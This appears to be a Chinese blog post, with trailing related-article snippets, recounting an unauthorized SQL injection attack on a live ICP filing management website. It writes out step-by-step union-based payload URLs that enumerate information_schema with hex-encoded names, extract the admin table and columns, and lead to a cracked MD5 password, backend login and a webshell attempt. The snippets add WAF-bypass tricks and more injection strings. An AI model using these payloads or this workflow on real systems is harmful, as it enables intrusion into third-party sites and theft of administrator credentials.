PHP注入檢測某ICP備案管理系統

2021-12-30 00:29:05 字數 2277 閱讀 9378

文章作者:viekst

今天在遊覽朋友**的時候,跳到了乙個icp備案的管理系統**上,閒著也無聊,於是對其**做了下檢測,

隨便開啟乙個網頁 http://***.***.com/hutnet.com/show_news.php?id=15

習慣性的在後面加了個單引號,。。出錯了

之後加and 1=1 和and 1=2返回正常 和返回空白。看來存在注入 放入啊d檢測。找不到表段..

看來只有手工注入了。。

接著用order by 來猜測表長度

http://***.***.com/show_news.php?id=7 order by 6 返回正常

http://***.***.com/show_news.php?id=7 order by 7 返回錯誤

看來表名長度為7

http://***.***.com/show_news.php?id=7 and 1=2 union select 1,2,3,4,5,6 -- 返回3,4,5

http://***.***.com/show_news.php?id=7 and 1=2 union select 1,2,user(),4,5,6 -- 返回使用者 hutong_sys@localhost

替換user() 為database() version()得到資料庫名和mysql版本 hutong 5.0.51a-community-nt

mysql4.0開始支援聯合查詢 5.0以上多加了乙個information_schema虛擬庫,那我們就可以通過查詢這個虛擬庫來找到管理員表段和字段,

然後通過聯合查詢來注出管理員帳號和密碼了,,

我們知道當前的資料庫名為hutong 所以我們需要再查資料庫名,但是要把他轉換成16進製制 。。接著

http://***.***.com/show_news.php?id=7 and 1=2 union select 1,2,table_name,4,5,6 from information_schema.tables where table_schema=0x6875746f6e67-- 返回 ba_admin_action

這個不是管理員的表段,我們可以在後面加 limit 1,1 來控制返回的結果

http://***.***.com/show_news.php?id=7 and 1=2 union select 1,2,table_name,4,5,6 from information_schema.tables where table_schema=0x6875746f6e67 limit 3,1-- 返回 ba_admin_user 這個才是管理員的表段名。。

接著查詢ba_admin_user表 裡的字段,這裡的 ba_admin_user 還是要轉換成16進製制0x62615f61646d696e5f75736572

http://***.***.com/show_news.php?id=7 and 1=2 union select 1,2,column_name,4,5,6 from information_schema.columns where table_name=0x62615f61646d696e5f75736572 limit 0,1-- 返回 user_id

http://***.***.com/show_news.php?id=7 and 1=2 union select 1,2,column_name,4,5,6 from information_schema.columns where table_name=0x62615f61646d696e5f75736572 limit 1,1-- 返回 user_name

http://***.***.com/show_news.php?id=7 and 1=2 union select 1,2,column_name,4,5,6 from information_schema.columns where table_name=0x62615f61646d696e5f75736572 limit 3,1-- 返回 password

ok 現在我們找到管理表段和字段就可以進行聯合查詢,注出管理賬戶和密碼勒,

這裡他的後台管理頁面為預設的 破解md5密碼成功進入後台。。

嘗試拿webshell,但是臺主要是修改和審核一些網域名稱的備案資訊,也沒得其他可以利用的,

在發布新聞那裡,雖然用了ewebditor編輯器但是卻被刪後台,並且多個頁面被刪,導致極其他檔案都不能上傳,無奈之下只得放棄了! 不過得到後台已經可以做很多事了,不是嗎?

SQL注入檢測繞過

例如 攔截union。我們可以使用union或union等方式繞過。同樣假設waf檢測關鍵字union,可以用u的16進製制編碼 55來代替u,組合成 55nion來嘗試繞過。結合大小寫也可以繞過waf。適用於waf只阻斷一次危險語句,而沒有阻斷整個查詢。我們可以在過濾語句前加注釋,使其過濾掉注釋中...

SQL注入學習 檢測

例項1的鏈結為 注 每個人機器上的可能不太一樣 從url中可以看出,引數為字串 root 從表中返回一行資料,如下圖所示。為了理解伺服器端 我們需要對其進行探測。1.新增多餘字元。比如 1234 使用?name root1234,表中未顯示任何記錄。從這裡我們可以猜測,請求以某種匹配方式來使用我們的...

PHP注入技術

or 1 1 23 and password mypass id 1union select 1,1,1id 1union select char 97 char 97 char 97 id 1 union select 1,1,1from members id 1union select 1,1,...